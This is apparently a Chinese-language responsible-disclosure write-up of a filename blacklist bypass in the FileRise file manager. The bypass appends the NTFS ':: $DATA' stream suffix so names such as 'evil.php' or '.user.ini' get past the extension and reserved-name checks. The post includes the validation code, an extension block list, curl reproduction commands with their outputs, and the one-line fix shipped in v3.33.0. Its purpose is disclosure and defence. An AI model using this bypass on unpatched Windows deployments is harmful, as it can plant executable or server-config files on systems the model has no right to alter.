一个冒号,绕过了 FileRise 的上传黑名单
去年年底我在自己的服务器上装了 FileRise,一个开源的私有网盘面板,拿来放些杂七杂八的文件。用着用着就开始手痒:它那套权限到底管不管用?于是在自己的环境里,拿着上游源码,当成一个正经目标拆了一遍。后来找到了一个能绕过文件名黑名单的东西,上报了,作者在 v3.33.0 修了。这篇把过程写下来,包括代码、复现步骤和真实的报错输出。
先说没成的那些
我最早盯上的是 Windows 的 junction。
手上有台 Windows 服务器,就琢磨:上传目录要是能用目录联接接到别的地方去,是不是就能顺着它读到我本来没权限的文件夹?听起来很美。折腾了一阵,发现没戏——FileRise 的普通账号建不了 junction,这操作得先有本地权限。说白了,你想打这个洞,得先有别的洞。作者后来回信也是这个意思。行,那这条划掉。
第二个是会话固定。测的时候有几次看着像是能借别人的身份登录,我还挺兴奋,以为自己摸到大鱼了。结果发现是虚惊——登录接口有失败限流,连续错几次就返回 429,节奏被我弄乱了,看着像漏洞其实是把测试自己绊倒了。换个干净环境重来一遍,什么都没有。差点就报了个假的出去。
第三个是 7z 解压的通配符。如果压缩包里的文件名带通配符,理论上可能操纵解压落地路径,写到不该写的地方。结果解压那层按字面名字处理,直接给我挡住了。
三个方向,全是死路。正面攻不动,我就知道得换个思路了。
换个方向:看校验,也看它怎么落地
读这种代码我基本不看功能,专门找那些名字里带 isSafe、validate、can、check 的函数。那些地方才是作者心里真正设过防的位置。
FileRise 管上传文件名的叫 UploadNamePolicy,核心是 isAllowedForWrite()。把关键部分拎出来(v3.32.0):
public static function isAllowedForWrite(string $fileName, ?string $mode = null): bool
{
$fileName = trim($fileName);
for ($i = 0; $i < 3; $i++) { // ① URL 解码,最多三次
$decoded = rawurldecode($fileName);
if ($decoded === $fileName) { break; }
$fileName = $decoded;
}
if (
$fileName === ''
|| str_contains($fileName, '/') // ② 拦路径符号
|| str_contains($fileName, '\\')
|| basename($fileName) !== $fileName
) {
return false;
}
if ($fileName === '' || !preg_match((string)REGEX_FILE_NAME, $fileName)) {
return false; // ③ 正则白名单
}
if (str_ends_with($fileName, '.')) { // ④ 拦尾随点
return false;
}
$lowerName = strtolower($fileName);
if (in_array($lowerName, self::ALWAYS_BLOCKED_FILENAMES, true)) {
return false; // ⑤ 永久禁止名单
}
...
$ext = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
if ($ext !== '' && in_array($ext, self::STRICT_BLOCKED_EXTENSIONS, true)) {
return false; // ⑥ 扩展名黑名单
}
return true;
}
两个黑名单:
private const ALWAYS_BLOCKED_FILENAMES = ['.htaccess', '.user.ini', 'web.config'];
private const STRICT_BLOCKED_EXTENSIONS = [
'asp','aspx','bash','cgi','fcgi','jsp','jspx','phar','php','php3','php4',
'php5','php7','php8','pht','phps','phtml','pl','py','sh','shtml',
];
看得出作者是真花心思了:试过 URL 编码绕过(所以解三次)、试过路径符号、试过尾随点(shell.php. 那种在部分系统上会被规整成 shell.php,所以专门拦)。③ 那个正则 REGEX_FILE_NAME 是 /^[^\x00-\x1F\/\\]{1,255}$/u,意思是"长度 1–255,不含控制字符、/、\"。
但你注意,这个正则允许 : 和 $。
于是问题就来了:它眼里这个文件名,和后面真正落盘的代码眼里这个文件名,是不是同一回事?
这两拨人经常对不上。校验用一套规则判断,落盘用另一套规则执行。规则一旦有出入,就能造一个"过得了检查、干得成坏事"的输入。
那个冒号
取扩展名,它用的是 PHP 的 pathinfo($fileName, PATHINFO_EXTENSION)。
那我把文件名写成 evil.php::$DATA 呢?
pathinfo 读出来的扩展名,是从最后一个点后面的东西——也就是 php::$DATA。黑名单里只有 php,没有 php::$DATA,于是⑥放行。前面的正则也过(: 和 $ 都允许)。
可这名字递给 NTFS,就是另一回事了。
Windows 的 NTFS 文件系统里,一个文件除了默认数据流,还能挂若干命名数据流(Alternate Data Stream,ADS),写法是 文件名:流名。比如 readme.txt:hidden 就是给 readme.txt 挂了个叫 hidden 的隐藏流,默认看不到。而 ::$DATA 恰好是默认数据流本身的规范名。所以 evil.php::$DATA 在 NTFS 眼里,就是"evil.php 的默认数据流"。创建它,等于创建了 evil.php。
一个字符串,两套理解:
isAllowedForWrite() 看到的扩展名是 php::$DATA,不在黑名单,放行;
- NTFS 看到的是
evil.php,老老实实把它写出来。
检查的是 A,执行的是 B。
而且不止扩展名这一层。"永久禁止"那几个名字一个道理:.user.ini::$DATA 在校验层不等于 .user.ini,到了磁盘上就是 .user.ini。.htaccess、web.config 同理。
一个冒号,两道防线一起过。
(前提绕不开:只在 Windows / NTFS 上成立。Linux 文件名里冒号就是个普通字符,压根没有 ADS 这套东西。所以开发者在自己的 Linux 机器上测,可能一辈子碰不到。)
在自己服务器上跑一遍
纸上推完,得动手。环境是 Windows Server + IIS + PHP 8.3,站点根 D:\FileRise\public,上传目录 D:\FileRise\uploads(在站点根外面)。
登录拿 cookie 和 CSRF:
$u = "http://192.168.100.144"
Set-Content login.json '{"username":"alice","password":"***"}'
curl.exe -s -c ck.txt -X POST -H "Content-Type: application/json" --data-binary "@login.json" "$u/api/auth/auth.php"
$tok = (curl.exe -s -b ck.txt "$u/api/auth/token.php" | ConvertFrom-Json).csrf_token
这里提一句:IIS 默认禁止 PUT,所以能写内容的 saveFile 接口(PUT)直接返回 405,调不动。只能改用 createFile(POST),它建的是空文件。
先来个对照,普通危险名字,应该被拒:
POST /api/file/createFile.php {"folder":"share","name":"evil.php"}
{"success":false,"error":"Invalid filename"} [400]
然后同一个名字,尾巴上加 ::$DATA:
POST /api/file/createFile.php {"folder":"share","name":"evil.php::$DATA"}
{"success":true} [200]
完整命令(a.json 装的是对照请求体,b.json 装的是绕过请求体):
Set-Content a.json '{"folder":"share","name":"evil.php"}'
curl.exe -s -w "[%{http_code}]" -b ck.txt -X POST -H "X-CSRF-Token: $tok" -H "Content-Type: application/json" --data-binary "@a.json" "$u/api/file/createFile.php"
Set-Content b.json '{"folder":"share","name":"evil.php::$DATA"}'
curl.exe -s -w "[%{http_code}]" -b ck.txt -X POST -H "X-CSRF-Token: $tok" -H "Content-Type: application/json" --data-binary "@b.json" "$u/api/file/createFile.php"
cmd /c dir /b "D:\FileRise\uploads\share"
再看磁盘:
2.txt
3.txt
4.txt
evil.php
新建文本文档.txt
evil.php 就躺在那儿。不该出现的东西,出现了。
对照组 400、绕过组 200、磁盘上多一个文件,齐了。
影响,以及它到底有多大
这里得说清楚,免得听着比实际厉害。
能确证的:一个普通账号,对一个文件夹有写权限,就能造出管理员明令禁止的文件名。扩展名黑名单和"永久禁止"名单,同时失效。
到不了哪儿:我的部署里上传目录在站点根外面(/uploads/ 返回 404),而且 IIS 默认不让用 PUT,那个能写内容的 saveFile 接口根本调不动,只剩 createFile,而它只能建空文件。所以在我这儿这不是 getshell,就是个文件名策略绕过。
但换个部署就不一样了。如果上传目录会被 Web 服务器解析(Apache 配 .htaccess、PHP-FPM 读 .user.ini 那类),写进去的配置文件就会被执行。作者的部署文档里,历史上就有过把 uploads 软链进站点根的操作——那种配置下,这条请求就从"策略绕过"变成了"写入危险后缀文件"。
所以这洞是真的,但我没给它安一个我这儿证明不了的帽子。
和作者来回
走的是 GitHub 私有漏洞报告。
过程不算顺。前面 junction 那条,作者驳了,而且驳得对——我撤了原来的定级,把"远程低权"的说法也收回了,那条最后改成了文档澄清。认账。
ADS 这条他认了,要我单独提一份,写清三件事:哪个接口受影响、落盘叫什么名、证明了什么影响。照做,还主动写明了"不是 RCE"这个边界。
然后就是修。v3.33.0 的更新日志写得很直接:
File creation and upload paths now reject NTFS alternate-stream syntax before extension and reserved-name policy checks.
修法就是最朴素的那个——在校验之前,先把含冒号的文件名拒掉。源码里就是多了一行 str_contains($fileName, ':'):
if (
$fileName === ''
|| str_contains($fileName, '/')
|| str_contains($fileName, '\\')
|| str_contains($fileName, ':') // <- 新增,一行堵死
|| basename($fileName) !== $fileName
) {
return false;
}
我复测了,同一个 evil.php::$DATA,3.33.0 上返回 400,磁盘干干净净。
补一句
这洞只在 Windows 上成立。Linux 的文件名里带个冒号屁事没有,作者八成用自己的机器测过一遍,什么都没发生,然后就把这块放过去了。我能撞上,纯粹因为我拿 Windows 服务器当靶子。换个环境,这洞可能到现在还躺在那儿。